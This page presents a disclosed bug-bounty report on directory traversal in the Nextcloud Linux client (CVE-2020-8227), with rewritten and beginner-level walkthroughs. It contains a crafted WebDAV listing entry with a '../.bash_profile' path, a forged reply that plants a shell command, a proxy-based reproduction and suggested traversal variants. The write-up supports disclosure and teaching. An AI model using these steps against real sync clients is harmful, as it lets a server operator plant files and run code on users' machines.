Skip to content
Path traversal Disclosed report Intermediate CVE-2020-8227

Linux client is vulnerable to directory traversal when downloading files

The Nextcloud Linux client did not sanitise file paths received from the server, so a malicious server administrator could insert a path traversal sequence in a WebDAV response and cause the client to write a file outside the sync folder. This could lead to remote code execution if the attacker writes a file such as a shell profile that the user later executes.

netranger Follow

Originally disclosed on HackerOne

Bounty$250 Medium 5.1 View original
  • Triaged in 31 hours
  • Fixed in 14 months
  • Paid in 15 months
  • Disclosed after 15 months

Summary

The Nextcloud Linux client is vulnerable to directory traversal when downloading files from a Nextcloud server. A malicious Nextcloud administrator can exploit the vulnerability to write arbitrary files to a user computer(s) with the potential for remote command execution under certain conditions.

Reproduction

The issue is exploited via a two step process. It is possible to do this using a proxy such as Burp suite, but it is tricky and involves modifying some server replies while also passing through others. The general process is:

Configure the client to use a proxy like Burp and set Burp to intercept server replies for review. Allow all client and server requests/responses to pass except the ones listed here. Force sync or wait for the client to issue the request "PROPFIND /nextcloud/remote.php/dav/files/admin/" with body paramters of:

<?xml version="1.0" ?>

<d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns"> <d:prop> <d:resourcetype /> <d:getlastmodified /> <d:getcontentlength /> <d:getetag /> <oc:id /> <oc:downloadURL /> <oc:dDC /> <oc:permissions /> <oc:checksums /> <oc:data-fingerprint /> <oc:share-types /> </d:prop> </d:propfind>

Forward it. When the server replies, insert an entry in the XML response for an available file. The file name in the HREF tag of the modification data is the vulnerable parameter. For example, you could insert the following: <d:response><d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href><d:propstat><d:prop><d:resourcetype/><d:getlastmodified>Tue, 30 Apr 2020 20:44:16 GMT</d:getlastmodified><d:getcontentlength>37042</d:getcontentlength><d:getetag>"08b9d12b0e2263f92820e8b4706a42c7"</d:getetag>oc:id00000051ocya3bx9cxde</oc:id>oc:downloadURL</oc:downloadURL>oc:permissionsRGDNVW</oc:permissions>oc:data-fingerprint</oc:data-fingerprint>oc:share-types/</d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat><d:propstat><d:prop>oc:dDC/oc:checksums/</d:prop><d:status>HTTP/1.1 404 Not Found</d:status></d:propstat></d:response>

Note the path /nextcloud/remote.php/dav/files/user/../.bash_profile. When the client goes to write this file to disk, it will write traverse to the directory above the sync location (~/Nextcloud/ by default, so would end up at ~/)

Next, the client should send a request to the server requesting the file, like so: GET http://192.168.144.128/nextcloud/remote.php/dav/files/user/../.bash_profile HTTP/1.1 Host: 192.168.144.128 Authorization: Basic abc123 User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud) Accept: / X-Request-ID: 4a1e1d20-283b-4072-9d24-9f39cf7db243abc123 Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocya3bx9cxde=rvam; oc_sessionPassphrase=srq12bLDYJI8abc123 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,*

The server should reply saying the file wasn't found. Modify the response to become:

HTTP/1.1 200 OK Connection: close Content-Type: text/text; charset=utf-8 Content-Length: 93 ETag: 08b9d12b0e2263f92820e8b4706a42c7

echo "It worked! Nextcloud Linux client directory traversal/code execution proof of concept."

...and the content will be written to ~/.bash_profile instead of ~/Nextcloud/.bash_profile

To simplify the process, I created a proof of concept Python script and attached it here. The script must be run with Python3 and requires the requests HTTP library. It listens on port 8080 and is a proxy; it forwards all requests from the client to the real Nextcloud server. The proxy reviews each request and if it detects one of the aforementioned vulnerable requests, it modifies the server reply appropriately. For PoC purposes the filename is test.txt.

To use, open a terminal and run 'python3 poc.py'. Open the Nextcloud client settings, go to Network, and set it to use a proxy of 127.0.0.1 port 8080. You can force a sync if one does not trigger. After it syncs you should get a file 'test.txt' written one level above your Nextcloud sync folder.

For testing purposes an http-only Nextcloud server is needed, as the proxy is not SSL capable.

The proxy is not completely reliable, you may need to get the proxy running, then set the Nextcloud client to use proxy address 127.0.0.1:8080. If you have any issues identifying or reproducing this please let me know.

Impact

Limitations

Some limitations surrounding this vulnerability:

  • Only new files can be written to disk. I have not found a way to overwrite existing files, i.e. if ~/test.txt already exists it won't get overwritten by the attacker's content.
  • An attacker can only write files to locations the Nextcloud program has permission to access.
  • The attacker must continously have the intercept running to keep the file on the target's system. If you stop the proof of concept script, the client interprets the exploit file's absence in the next sync as meaning it was deleted elsewhere, so it deletes the local copy.

Impact

Since an attacker cannot overwrite existing files, this makes getting anything useful from the exploit harder, but not impossible. I have noticed with Ubuntu 16.04 and 18.04 systems the ~/.bash_profile file is absent by default. Bash executes any commands in this file when the user logs in from a terminal (not the GUI and not when opening the Terminal app within the GUI). An attacker could potentially get remote code execution by:

  • Exploiting the Nextcloud client to write ~/.bash_profile containing shell commands.
  • Getting lucky and having the user log in via SSH or virtual console. For example, in Ubuntu, pressing CTRL+ALT+F1 at the GUI login screen brings up a virtual console. Logging in here will execute ~/.bash_profile.

An attacker could also write various executable files (jar, sh, bin, etc) to various places on the user's system and hope the user, not knowing how they got there, would execute one.

Other exploit payloads might exist, this is all I could come up at this time.

Scope

If a Nextcloud server adminstrator wanted to exploit the vulnerability, they could do so on the Nextcloud server itself by modifying the core code and not rely in traffic interception. Modifying the Nextcloud PHP code directly would also have the benefit of removing SSL as a limitation.

The Nextcloud security scope document states Nextcloud administrators are expected to have ability to access all user files and execute code on the server. However, with this vulnerability Nextcloud administrators could potentially execute code on remote user clients, which they may not have control over.

Sorry for the long winded report. :) If I can provide any further information please let me know. Thanks!

The original report as published on HackerOne, by netranger. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is the Nextcloud desktop client for Linux, the program that keeps a local folder in sync with a Nextcloud server over WebDAV. During a sync the client asks the server for a directory listing with a PROPFIND request, parses the XML reply, and for each file entry it decides what to download and where to write it locally. The local path is derived from the HREF value in each <d:response> entry. The report shows that a crafted HREF containing ../ makes the client write outside the sync folder.

The threat model matters here. A Nextcloud administrator is normally trusted to read and modify all files on the server, and the project's security scope document says so. This bug moves that trust boundary: a malicious administrator can write files onto the machines of users who sync with the server, which the administrator does not control.

Setup

  • A Nextcloud server reachable over plain HTTP. The proof of concept proxy is not SSL capable, so an HTTP-only server is needed for testing.
  • The Nextcloud Linux desktop client, configured to sync with that server. The captured client request shows User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud).
  • An intercepting proxy such as Burp Suite, or the author's Python 3 proof of concept script, which requires the requests HTTP library and listens on port 8080.
  • The client is pointed at the proxy through its settings: Network, then proxy [redacted] port 8080.

Finding it

The file name in the HREF tag of a directory listing entry is used by the client to build the local write path, and a ../ in it is not rejected. Because the listing comes from the server, and the server is controlled by the administrator, that value is attacker-controlled input to a file write.

Exploitation

The issue is exploited in two steps: first a fake directory entry is injected into the PROPFIND reply so the client believes a file exists at a traversing path, then the GET for that file is answered with attacker content. Doing this by hand with Burp is possible but tricky, because some server replies must be modified while others pass through untouched.

Step 1: inject a traversing entry into the directory listing

Configure the client to use the proxy and set the proxy to intercept server replies. Let all client and server traffic pass except the requests and responses described here. Force a sync, or wait for the client to issue the request PROPFIND /nextcloud/remote.php/dav/files/admin/ with this body:

XML
<?xml version="1.0" ?>
<d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
  <d:prop>
    <d:resourcetype />
    <d:getlastmodified />
    <d:getcontentlength />
    <d:getetag />
    <oc:id />
    <oc:downloadURL />
    <oc:dDC />
    <oc:permissions />
    <oc:checksums />
    <oc:data-fingerprint />
    <oc:share-types />
  </d:prop>
</d:propfind>

Forward the request. When the server replies, insert an entry in the XML response for an available file. The file name in the HREF tag of that entry is the vulnerable parameter. For example:

XML
<d:response><d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href><d:propstat><d:prop><d:resourcetype/><d:getlastmodified>Tue, 30 Apr 2020 20:44:16 GMT</d:getlastmodified><d:getcontentlength>37042</d:getcontentlength><d:getetag>&quot;[redacted]&quot;</d:getetag><oc:id>00000051ocya3bx9cxde</oc:id><oc:downloadURL></oc:downloadURL><oc:permissions>RGDNVW</oc:permissions><oc:data-fingerprint></oc:data-fingerprint><oc:share-types/></d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat><d:propstat><d:prop><oc:dDC/><oc:checksums/></d:prop><d:status>HTTP/1.1 404 Not Found</d:status></d:propstat></d:response>

The important part is the path /nextcloud/remote.php/dav/files/user/../.bash_profile. When the client writes this file to disk it traverses to the directory above the sync location. The sync location is ~/Nextcloud/ by default, so the file ends up at ~/.

Step 2: serve the file content

The client then requests the file from the server:

HTTP
GET http://[redacted]/nextcloud/remote.php/dav/files/user/../.bash_profile HTTP/1.1
Host: [redacted]
Authorization: Basic abc123
User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud)
Accept: */*
X-Request-ID: 4a1e1d20-283b-4072-9d24-9f39cf7db243abc123
Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocya3bx9cxde=rvam; oc_sessionPassphrase=srq12bLDYJI8abc123
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

The server replies that the file was not found. Modify that response to:

HTTP
HTTP/1.1 200 OK
Connection: close
Content-Type: text/text; charset=utf-8
Content-Length: 93
ETag: [redacted]

echo "It worked! Nextcloud Linux client directory traversal/code execution proof of concept."

The content is then written to ~/.bash_profile instead of ~/Nextcloud/.bash_profile.

Step 3: automate with the proof of concept proxy

To simplify the process the author wrote a Python 3 proof of concept script, which requires the requests library. It listens on port 8080 and forwards all requests from the client to the real Nextcloud server. It reviews each request and, when it detects one of the vulnerable requests, modifies the server reply appropriately. For the proof of concept the filename is test.txt.

Run it from a terminal:

Bash
python3 poc.py

Then open the Nextcloud client settings, go to Network, and set the proxy to [redacted] port 8080. Force a sync if one does not trigger. After the sync, a file test.txt should be written one level above the Nextcloud sync folder. The proxy is not completely reliable; if there are issues, start the proxy first and then set the client to use [redacted]:8080.

Root cause

The client builds the local destination path from the HREF supplied by the server without rejecting .. segments, so a server-controlled string can escape the sync root. The report does not describe the client code, so the exact location of the missing check is not stated. The design assumption that the server's listing is trustworthy is what fails: the listing is exactly the input a malicious administrator controls.

Impact

A malicious Nextcloud administrator can write arbitrary files to a user's computer, with the potential for remote command execution under certain conditions. Because existing files cannot be overwritten, getting something useful is harder but not impossible. The author notes that on Ubuntu 16.04 and 18.04 ~/.bash_profile is absent by default, and that bash executes the commands in that file when the user logs in from a terminal (not from the GUI, and not when opening the Terminal app inside the GUI). Remote code execution could follow from:

  • Exploiting the client to write ~/.bash_profile containing shell commands.
  • The user then logging in via SSH or a virtual console. On Ubuntu, for example, pressing CTRL+ALT+F1 at the GUI login screen brings up a virtual console, and logging in there executes ~/.bash_profile.

An attacker could also write executable files (jar, sh, bin and so on) to various places on the system and hope the user, not knowing how they got there, runs one. The author notes other payloads might exist.

Limitations:

  • Only new files can be written. The author found no way to overwrite existing files: if ~/test.txt already exists it will not be replaced with the attacker's content.
  • Files can only be written where the Nextcloud program has permission to access.
  • The interception must keep running to keep the file on the target. If the proof of concept script is stopped, the client interprets the file's absence in the next sync as a deletion elsewhere and deletes the local copy.

On scope: a Nextcloud administrator could exploit this on the server itself by modifying the core code rather than intercepting traffic, which also removes the SSL limitation. The project's security scope document expects administrators to be able to access all user files and execute code on the server, but this bug lets them potentially execute code on remote user clients outside their control.

Fix

The report does not describe a fix or a code change. The check that should exist is to reject or normalise any listing path that resolves outside the sync root before writing, so a HREF containing .. can never produce a destination above the sync folder.

Variants to test

  • Inject ../ segments into HREF values in PROPFIND replies on other WebDAV sync clients and watch whether a file appears above the sync root.
  • Try other traversal encodings and separators in the HREF (for example encoded dots or backslashes) to see whether a client that blocks plain .. still writes outside the root.
  • Target files that are absent by default on the victim platform, such as ~/.bash_profile on Ubuntu, and check whether the client creates them at the traversed location.
  • Test whether a second sync with the interception stopped removes the planted file, to confirm the deletion behaviour described in the limitations.

Hunting notes

This kind of bug hides where a client trusts server-supplied metadata to build local paths: sync clients, backup agents, package managers and anything that mirrors a remote tree to disk. During recon, look for clients that parse directory listings and derive file names from them, and for features where a server-side role (here the administrator) is less trusted than the data it serves. The report shows impact by chaining the write to a file that a shell executes at login, and by being explicit about the conditions (file must not already exist, user must log in from a terminal or virtual console) and the limitations.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Nextcloud is a piece of software that lets you keep your files on a server you or your organisation runs, and reach them from a browser or from a program on your computer. The program on your computer is called the desktop client. Its job is simple: it keeps a folder on your machine (by default ~/Nextcloud/) in step with the folder on the server. If you add a file on the server, the client downloads it. If you delete a file locally, the client tells the server. This two-way copying is called syncing.

The report describes a flaw in the Linux version of that client. When the client downloads files, it trusts the server to tell it the name of each file. A malicious server administrator can send a file name that contains a special sequence of characters, ../, which means "go up one folder". The client does not check for this, so it writes the file one folder higher than it should, outside the sync folder. That is called directory traversal, or path traversal: tricking a program into reading or writing somewhere it was never meant to touch.

Why does this matter? Normally the administrator of a Nextcloud server is trusted to see and change everything stored on that server. That is the whole point of running your own server. This bug moves that trust somewhere new: the administrator can now put files onto the computers of people who sync with the server, machines the administrator does not own. Under the right conditions, one of those files can be made to run commands when the user logs in, which is remote code execution.

The pieces involved

Before following the steps, here are the parts of the picture, explained from scratch.

  • The Nextcloud desktop client: an ordinary program you install. It sits in the background and copies files back and forth. The captured traffic in the report identifies it as mirall/2.5.2git, which is the internal name the client uses for itself.
  • WebDAV: a set of rules layered on top of ordinary web traffic (HTTP) for working with files on a server. Instead of "give me this web page", the client says "list the files in this folder" or "send me this file". It is like a shared language for file cabinets over the internet.
  • PROPFIND: the WebDAV request that means "tell me about the contents of this folder". The server answers with a list of entries, one per file, written in XML (a text format built from tags in angle brackets, like <name>value</name>).
  • HREF: inside each entry of that list, the HREF tag holds the path of the file on the server. The client reads it to work out what to download and where to save it.
  • A proxy: a program that sits between your computer and the server, like a post office clerk who opens every letter, reads it, and can rewrite it before passing it on. Burp Suite is a well-known proxy used for security testing. The author also wrote a small proxy of their own.
  • Interception: telling the proxy to pause traffic so you can look at it and change it by hand before it continues.
  • ../: in a file path, two dots mean "the folder above this one". So ~/Nextcloud/../.bash_profile means "start in the Nextcloud folder, go up one level, then use the file .bash_profile". That lands in your home folder, ~/, not in the sync folder.
  • ~/.bash_profile: a small text file in your home folder. When you log in to a Linux machine from a text terminal, the shell (the program that reads your typed commands) runs whatever commands are written in that file. It is a startup script. On Ubuntu 16.04 and 18.04 it does not exist by default, which is useful to an attacker: they can create it without overwriting anything.

Setup

To reproduce the issue you need:

  1. A Nextcloud server reachable over plain HTTP, without encryption. The author's proof of concept proxy cannot handle SSL (the encryption used by HTTPS), so an HTTP-only server is required for testing.
  2. The Nextcloud Linux desktop client, set up to sync with that server. The request captured in the report shows the client identifying itself as User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud).
  3. An intercepting proxy, either Burp Suite or the author's Python 3 script, which needs the requests library (a helper for making web requests from Python) and listens on port 8080.
  4. The client pointed at the proxy: open its settings, go to Network, and enter proxy [redacted] port 8080. [redacted] is the address a computer uses to talk to itself.

Finding it

The client takes the file name from the HREF tag of each listing entry and uses it to build the place on disk where the file will be saved. Nothing in the client rejects .. in that name. Since the listing comes from the server, and the server is run by the administrator, that value is under the attacker's control. A value the attacker controls flowing into a file write is the heart of the bug.

Exploitation

The attack happens in two steps. First, a fake entry is slipped into the folder listing so the client believes a file exists at a path that climbs upwards. Second, when the client asks for that file, the reply is replaced with the attacker's content. Doing this by hand with Burp is possible but fiddly, because some replies must be changed while others must pass through untouched.

Step 1: inject a traversing entry into the directory listing

Set the client to use the proxy, and set the proxy to pause server replies. Let all traffic through except the requests and responses described here. Then force a sync, or wait for the client to send its folder listing request, PROPFIND /nextcloud/remote.php/dav/files/admin/, with this body:

XML
<?xml version="1.0" ?>
<d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
  <d:prop>
    <d:resourcetype />
    <d:getlastmodified />
    <d:getcontentlength />
    <d:getetag />
    <oc:id />
    <oc:downloadURL />
    <oc:dDC />
    <oc:permissions />
    <oc:checksums />
    <oc:data-fingerprint />
    <oc:share-types />
  </d:prop>
</d:propfind>

Line by line:

  • <?xml version="1.0" ?> says this is XML, version 1.0.
  • <d:propfind ...> opens the request. The xmlns parts declare two vocabularies of tag names: d for standard WebDAV and oc for Nextcloud's own additions.
  • <d:prop> opens the list of properties the client wants to know about each file.
  • The tags inside ask for things like the file type (resourcetype), when it last changed (getlastmodified), its size (getcontentlength), a version fingerprint (getetag), an internal identifier (oc:id), a download address (oc:downloadURL), permissions, checksums and sharing information.
  • The closing tags end the list and the request.

In plain words: the client is asking the server, "for every file in this folder, tell me these details about it".

Forward the request. When the server's reply comes back, insert an extra entry into the XML list, describing a file that does not really exist. The file name inside the HREF tag of that entry is the vulnerable value. For example:

XML
<d:response><d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href><d:propstat><d:prop><d:resourcetype/><d:getlastmodified>Tue, 30 Apr 2020 20:44:16 GMT</d:getlastmodified><d:getcontentlength>37042</d:getcontentlength><d:getetag>&quot;[redacted]&quot;</d:getetag><oc:id>00000051ocya3bx9cxde</oc:id><oc:downloadURL></oc:downloadURL><oc:permissions>RGDNVW</oc:permissions><oc:data-fingerprint></oc:data-fingerprint><oc:share-types/></d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat><d:propstat><d:prop><oc:dDC/><oc:checksums/></d:prop><d:status>HTTP/1.1 404 Not Found</d:status></d:propstat></d:response>

Line by line:

  • <d:response> opens one entry in the listing, the description of a single file.
  • <d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href> is the file's path on the server. This is the important part: it starts in the user's folder and then uses .. to climb one level up, ending at .bash_profile.
  • <d:propstat> opens a block of properties that the server claims to have found.
  • <d:prop> opens the properties themselves: the file type, the last modified date (Tue, 30 Apr 2020 20:44:16 GMT), a size of 37042 bytes, a version fingerprint ([redacted]), an internal id (00000051ocya3bx9cxde), an empty download address, permissions RGDNVW, and empty fingerprint and sharing fields.
  • <d:status>HTTP/1.1 200 OK</d:status> says "these properties were found successfully".
  • A second <d:propstat> block lists two properties (a date field and checksums) with <d:status>HTTP/1.1 404 Not Found</d:status>, meaning "these two were not found". Real servers often answer this way, so the entry looks normal.
  • </d:response> closes the entry.

When the client saves this file to disk, it follows the path and climbs above the sync folder. The sync folder is ~/Nextcloud/ by default, so the file ends up in ~/, your home folder.

Step 2: serve the file content

Having seen the fake entry, the client asks the server for the file:

HTTP
GET http://[redacted]/nextcloud/remote.php/dav/files/user/../.bash_profile HTTP/1.1
Host: [redacted]
Authorization: Basic abc123
User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud)
Accept: */*
X-Request-ID: 4a1e1d20-283b-4072-9d24-9f39cf7db243abc123
Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocya3bx9cxde=rvam; oc_sessionPassphrase=srq12bLDYJI8abc123
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

Line by line:

  • GET ... HTTP/1.1 is the request that means "send me this file", using version 1.1 of the web protocol. The address is the server's address followed by the same climbing path.
  • Host: names the server the request is for.
  • Authorization: Basic ... carries the login credentials, encoded in a simple scheme called Basic authentication.
  • User-Agent: tells the server which program is asking; here, the Nextcloud client.
  • Accept: */* means "I will accept any kind of content".
  • X-Request-ID: is a unique label for this request, useful for tracing it in logs.
  • Cookie: carries small pieces of data the server previously gave the client, so the server can recognise it. Cookies are like a wristband you get at an event: you show it and you are let back in without proving who you are again.
  • Connection: Keep-Alive asks to keep the network connection open for further requests.
  • Accept-Encoding: lists the compression formats the client can handle.
  • Accept-Language: says which human languages the client prefers.

The server answers that the file was not found. Replace that answer with:

HTTP
HTTP/1.1 200 OK
Connection: close
Content-Type: text/text; charset=utf-8
Content-Length: 93
ETag: [redacted]

echo "It worked! Nextcloud Linux client directory traversal/code execution proof of concept."

Line by line:

  • HTTP/1.1 200 OK is the status line: 200 means "here is your content, all good".
  • Connection: close says the connection will be closed after this reply.
  • Content-Type: text/text; charset=utf-8 describes the content as plain text in the UTF-8 character encoding.
  • Content-Length: 93 says the body is 93 bytes long, so the client knows when it has received everything.
  • ETag: is a version fingerprint for the content, matching the one in the fake listing entry so the client believes it is the same file.
  • After the blank line comes the body: echo "It worked! ...". echo is a shell command that prints text. Written into a startup file, it would run at login.

The content is then written to ~/.bash_profile instead of ~/Nextcloud/.bash_profile.

Step 3: automate with the proof of concept proxy

To make this easier, the author wrote a Python 3 script that needs the requests library. It listens on port 8080 and passes every request from the client on to the real Nextcloud server. It inspects each request and, when it sees one of the vulnerable ones, rewrites the server's reply. For the demonstration the file name used is test.txt.

Run it from a terminal:

Bash
python3 poc.py

Line by line: python3 starts the Python 3 interpreter, and poc.py is the script file to run.

Then open the Nextcloud client settings, go to Network, and set the proxy to [redacted] port 8080. Force a sync if one does not start on its own. Afterwards a file test.txt should appear one folder above the Nextcloud sync folder. The proxy is not completely reliable; if something goes wrong, start the proxy first and then point the client at [redacted]:8080.

Root cause

The client builds the local save path from the HREF the server supplies, and never rejects .. segments, so a string controlled by the server can escape the sync folder. The report does not describe the client's code, so the exact place where the check is missing is not stated. What fails is the assumption that the server's listing can be trusted: the listing is precisely the input a malicious administrator controls.

Impact

A malicious Nextcloud administrator can write arbitrary files to a user's computer, with the potential for remote code execution under certain conditions. Since existing files cannot be overwritten, finding something useful is harder but not impossible. The author notes that on Ubuntu 16.04 and 18.04 ~/.bash_profile does not exist by default, and that bash runs the commands in that file when the user logs in from a terminal (not from the graphical desktop, and not when opening the Terminal app inside it). Remote code execution could follow from:

  • Using the client to write ~/.bash_profile containing shell commands.
  • The user then logging in through SSH (a way of connecting to a machine's text terminal over the network) or a virtual console. On Ubuntu, for example, pressing CTRL+ALT+F1 at the graphical login screen brings up a virtual console, and logging in there runs ~/.bash_profile.

An attacker could also write executable files (jar, sh, bin and so on) to various places on the system and hope the user, not knowing where they came from, runs one. The author notes other payloads might exist.

Limitations:

  • Only new files can be written. The author found no way to overwrite existing files: if ~/test.txt already exists, it will not be replaced with the attacker's content.
  • Files can only be written where the Nextcloud program has permission to write.
  • The interception must keep running to keep the file on the target. If the proof of concept script is stopped, the client sees the file missing at the next sync, assumes it was deleted elsewhere, and deletes the local copy.

On scope: a Nextcloud administrator could exploit this on the server itself by changing the core code instead of intercepting traffic, which also removes the SSL limitation. The project's security scope document expects administrators to be able to access all user files and execute code on the server, but this bug lets them potentially execute code on remote user clients outside their control.

Fix

The report does not describe a fix or a code change. The check that should exist is to reject or normalise any listing path that resolves outside the sync folder before writing, so a HREF containing .. can never produce a destination above the sync folder.

Variants to test

  • Inject ../ segments into HREF values in PROPFIND replies on other WebDAV sync clients and watch whether a file appears above the sync folder.
  • Try other traversal encodings and separators in the HREF (for example encoded dots or backslashes) to see whether a client that blocks plain .. still writes outside the folder.
  • Target files that are absent by default on the victim platform, such as ~/.bash_profile on Ubuntu, and check whether the client creates them at the climbed location.
  • Test whether a second sync with the interception stopped removes the planted file, to confirm the deletion behaviour described in the limitations.

Hunting notes

This kind of bug hides wherever a client trusts information supplied by a server to build local paths: sync clients, backup agents, package managers, and anything that mirrors a remote tree onto disk. During recon, look for clients that read folder listings and take file names from them, and for features where a server-side role (here the administrator) is less trusted than the data it serves. The report shows impact by chaining the write to a file that a shell runs at login, and by being explicit about the conditions (the file must not already exist, the user must log in from a terminal or virtual console) and the limitations.

Glossary

  • Nextcloud: software for storing and sharing files on a server you control, reachable from a browser or a desktop program.
  • Desktop client: the program installed on a computer that keeps a local folder in sync with a server.
  • Sync: two-way copying so that a folder on your computer and a folder on a server hold the same files.
  • WebDAV: a set of rules on top of HTTP for listing, downloading and uploading files on a server.
  • HTTP: the request and reply language of the web.
  • HTTPS / SSL: HTTP wrapped in encryption so nobody in between can read or change it.
  • PROPFIND: the WebDAV request that asks a server for the details of the files in a folder.
  • XML: a text format for structured data, built from tags in angle brackets.
  • HREF: the tag in a WebDAV listing that holds a file's path.
  • Directory traversal / path traversal: tricking a program into reading or writing outside the folder it was meant to use, usually with ...
  • ..: in a file path, the folder one level above the current one.
  • ~: shorthand for a user's home folder on Linux.
  • ~/.bash_profile: a startup file in the home folder whose commands the shell runs when the user logs in from a terminal.
  • Shell: the program that reads and runs the commands you type on a Linux system.
  • Proxy: a program that sits between a client and a server and can read and change the traffic passing through it.
  • Interception: pausing traffic in a proxy so it can be inspected and modified.
  • Burp Suite: a well-known tool for intercepting and changing web traffic during security testing.
  • Port: a numbered channel on a computer that a program listens on; 8080 is a common one for test servers.
  • [redacted]: the address a computer uses to refer to itself.
  • Python 3: a popular programming language; the proof of concept script is written in it.
  • requests library: a Python add-on that makes sending web requests easy.
  • GET: the HTTP request that asks for a file or page.
  • Authorization: Basic: a simple way of sending login credentials with a request.
  • User-Agent: a header in which a program says which program it is.
  • Cookie: a small piece of data a server gives a client so it can recognise it on later requests.
  • Header: a labelled line in an HTTP request or reply carrying extra information.
  • Status code: the number at the start of an HTTP reply; 200 means success, 404 means not found.
  • Content-Length: a header saying how many bytes the body contains.
  • Content-Type: a header saying what kind of content the body is.
  • ETag: a fingerprint identifying a particular version of a file.
  • echo: a shell command that prints text.
  • Remote code execution: making a victim's computer run commands the attacker chose.
  • SSH: a way of logging in to a machine's text terminal over a network.
  • Virtual console: a text-only login screen on a Linux machine, reachable with key combinations such as CTRL+ALT+F1.
  • CVSS: a standard scoring system for how severe a vulnerability is.
  • Bounty: a payment a company makes to someone who reports a security flaw to it.

More by netranger

View all

6 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.